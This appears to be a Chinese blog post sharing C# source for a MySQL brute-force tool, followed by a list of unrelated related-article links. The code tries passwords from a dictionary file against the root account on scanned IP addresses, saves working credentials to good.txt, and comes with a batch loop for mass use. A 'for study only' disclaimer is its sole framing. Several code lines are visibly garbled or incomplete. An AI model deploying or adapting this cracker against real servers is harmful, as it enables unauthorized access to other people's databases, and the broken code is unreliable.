声明: 代码仅供学习参考使用!开启了一个子线程,进行爆破!

速度不是很快,代码不是很规范,希望大牛不要喷我!

c#控制台程序,需要引用MySql.Data.dll

默认用户名: root
密码字典: pass.txt
扫描好的ip: ip.txt

用法:
for /f "eol= tokens=1 delims= " %%i in (ip.txt) do call 程序名称 %%i
或者
程序名称 目标地址

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Text;
  4.  
  5. using System.IO;
  6. using System.Threading;
  7.  
  8. using System.Data;
  9. using MySql.Data.MySqlClient;
  10. using System.Diagnostics;
  11. using System.Net.Sockets;
  12.  
  13. /**************************************
  14. 时间:2015年12月24日19:07:50
  15. 作者: 小手一抖
  16. 谨记: 源码仅供学习。
  17. ***************************************/
  18.  
  19. namespace Reaps
  20. {
  21. class Program
  22. {
  23.  
  24. static string pwdPath;
  25. static string[] fs;
  26. ;
  27. ;
  28. static string user = "root";
  29.  
  30. private static void Connect(string ip, string user, string password)
  31. {
  32. string connSting = string.Concat(new string[]
  33. {
  34. "Server=",
  35. ip,
  36. ";UserId=",
  37. user,
  38. ";Password=",
  39. password,
  40. ";Database=mysql;",
  41. "Connection Timeout=30",
  42. });
  43.  
  44. using (MySqlConnection conn = new MySqlConnection(connSting))
  45. {
  46. try
  47. {
  48. conn.Open();
  49. Console.ForegroundColor = ConsoleColor.Green;
  50. Console.WriteLine("[Yes] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
  51. Console.ForegroundColor = ConsoleColor.White;
  52. string path = Environment.CurrentDirectory + @"\good.txt";
  53. using (StreamWriter su = new StreamWriter(path, true, Encoding.Default))
  54. {
  55. su.WriteLine(ip + " " + user + " " + password);
  56. }
  57. }
  58. catch (Exception)
  59. {
  60. Console.ForegroundColor = ConsoleColor.White;
  61. Console.WriteLine("[No] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
  62. }
  63. }
  64. }
  65. /// <summary>
  66. /// 检测端口开放
  67. /// </summary>
  68. /// <param name="ip">地址</param>
  69. /// <param name="port">端口</param>
  70. /// <returns></returns>
  71. private static bool IsPortOpen(string ip,int port)
  72. {
  73. try
  74. {
  75. new TcpClient(ip, port).GetStream();
  76.  
  77. return true;
  78.  
  79. }
  80. catch (Exception)
  81. {
  82. return false;
  83. }
  84.  
  85. }
  86.  
  87. private static void CrackSql(string ip)
  88. {
  89.  
  90. {
  91. while (true)
  92. {
  93. int temp = index++;
  94. if (index > fs.Length)
  95. {
  96. break;
  97. }
  98. if (IsPortOpen(ip, dbPort))
  99. {
  100. Connect(ip, user, fs[temp]);
  101. }
  102. else
  103. {
  104. break;
  105. }
  106. }
  107. }
  108. }
  109.  
  110. static void Main(string[] args)
  111. {
  112. try
  113. {
  114. pwdPath = Environment.CurrentDirectory + @"\pass.txt";
  115. fs = File.ReadAllLines(pwdPath, Encoding.Default);
  116. Console.WriteLine("[+] 版本 2015122");
  117. Console.WriteLine("[+] 加载数据成功");
  118. )
  119. {
  120. Console.WriteLine("[+] 密码不能为0条");
  121. Thread.Sleep();
  122. Environment.Exit();
  123. }
  124. Console.WriteLine("[+] 密 码:{0} 条", fs.Length);
  125.  
  126. Thread th = ]));
  127. th.Start();
  128.  
  129. }
  130. catch (Exception ex)
  131. {
  132. Console.WriteLine("[+] 加载数据失败");
  133. Console.WriteLine("[+] " + ex.Message.ToString());
  134. Thread.Sleep();
  135. Environment.Exit();
  136.  
  137. }
  138. }
  139. }
  140.  
  141. }

C#Mysql数据库爆破源码的更多相关文章

  1. PHP批量替换MySql数据库中的数据内容(替换MySql数据库内容源码)

    PHP批量替换MySql数据库内容 UTF-8 1.0版 <?php //声明 //1.本源码开发意图:作者在使用一些CMS建站的时候发现很多CMS把网址写入到数据库了,如果换网址,那么就需要更 ...

  2. linux下MySQL 5.6源码安装

    linux下MySQL 5.6源码安装 1.下载:当前mysql版本到了5.6.20 http://dev.mysql.com/downloads/mysql 选择Source Code 2.必要软件 ...

  3. MySQL 5.7 源码中的目录结构

    MySQl Server的源码可以直接去Github浏览. 这里我们选择5.7版本的:https://github.com/mysql/mysql-server/tree/5.7 也可以通过: git ...

  4. 时序数据库 Apache-IoTDB 源码解析之系统架构(二)

    上一章聊到时序数据是什么样,物联网行业中的时序数据的特点:存量数据大.新增数据多(采集频率高.设备量多).详情请见: 时序数据库 Apache-IoTDB 源码解析之前言(一) 打一波广告,欢迎大家访 ...

  5. (3.1)mysql基础深入——mysql二进制与源码目录结构介绍

    (3.1)mysql基础深入——mysql二进制与源码目录结构介绍 关键字:二进制目录结构,源码目录结构(编译安装目录结构) 1.二进制安装程序目录结构 [1] BIN -- mysql的可执行文件( ...

  6. Linux 中mysql安装(源码安装方式)

    本文是介绍以源码安装的方式编译和安装Mysql 5.6(可以指定安装路径),也可以不采用源码安装方式,直接用安装包的方式. 源码安装方式慎用,容易报错. 1.卸载旧版本 rpm -qa | grep ...

  7. 时序数据库 Apache-IoTDB 源码解析之文件数据块(四)

    上一章聊到行式存储.列式存储的基本概念,并介绍了 TsFile 是如何存储数据以及基本概念.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三) 打一波广告,欢迎大家访问Io ...

  8. 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三)

    上一章聊到在车联网或物联网中对数据库的需求,以及 IoTDB 的整体架构,详情请见: 时序数据库 Apache-IoTDB 源码解析之系统架构(二) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 ...

  9. 时序数据库 Apache-IoTDB 源码解析之文件索引块(五)

    上一章聊到 TsFile 的文件组成,以及数据块的详细介绍.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件数据块(四) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 Star. ...

随机推荐

  1. PHPの页面跳转-常见方法

    PHP页面跳转一.header()函数 header()函数是PHP中进行页面跳转的一种十分简单的方法.header()函数的主要功能是将HTTP协议标头(header)输出到浏览器. header( ...

  2. java反射 -Class类

    Class类:任何类都是Class类的对象 Class类的实例对象的三种表现形式:1.通过某个类的.class实现 2.某个类的对象的getClass()方法 3.Class.forName() 注意 ...

  3. 转:VC中WORD,DWORD,unsigned long,unsigned short的区别(转)

    typedef unsigned long       DWORD;typedef int                 BOOL;typedef unsigned char       BYTE; ...

  4. The 500 Most Commonly Used Words in the English Language

    Based on the combined results of British English, American English and Australian English surveys of ...

  5. PCB敷铜小结

    有人说加大敷铜可以加大散热面,其实,对于此我不以为然.我说过铜是一种散热吸热快的金属,如果加大散热面要靠加大敷铜的面积的话,那就没有必要给很多的器件加热片了,我想大家对于计算机都颇有心得,一定攒过电脑 ...

  6. VCRedist.exe静默安装方法(转)

    INNO setup 制作安装包  的时候,发布VC++运行时 [Run]Filename: {app}vcredist_x86.exe; Parameters: /q; WorkingDir: {t ...

  7. Linq中join & group join & left join 的用法

    Linq中join & group join & left join 的用法 2013-01-30 11:12 12154人阅读 评论(0) 收藏 举报  分类: C#(14)  文章 ...

  8. BZOJ2453: 维护队列

    2453: 维护队列 Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 183  Solved: 89[Submit][Status] Descripti ...

  9. Android录音服务

    MediaRecorder Mediarecorder=new MediaRecorder();//创建一个MediaRecorder对象 Mediarecorder.setAudioSource(M ...

  10. MongoDB开发学习(1)开天辟地,经典入门

    原文地址:http://www.cnblogs.com/xumingxiang/archive/2012/04/08/2437468.html 如果你从来没有接触MongoDB或对MongoDB有一点 ...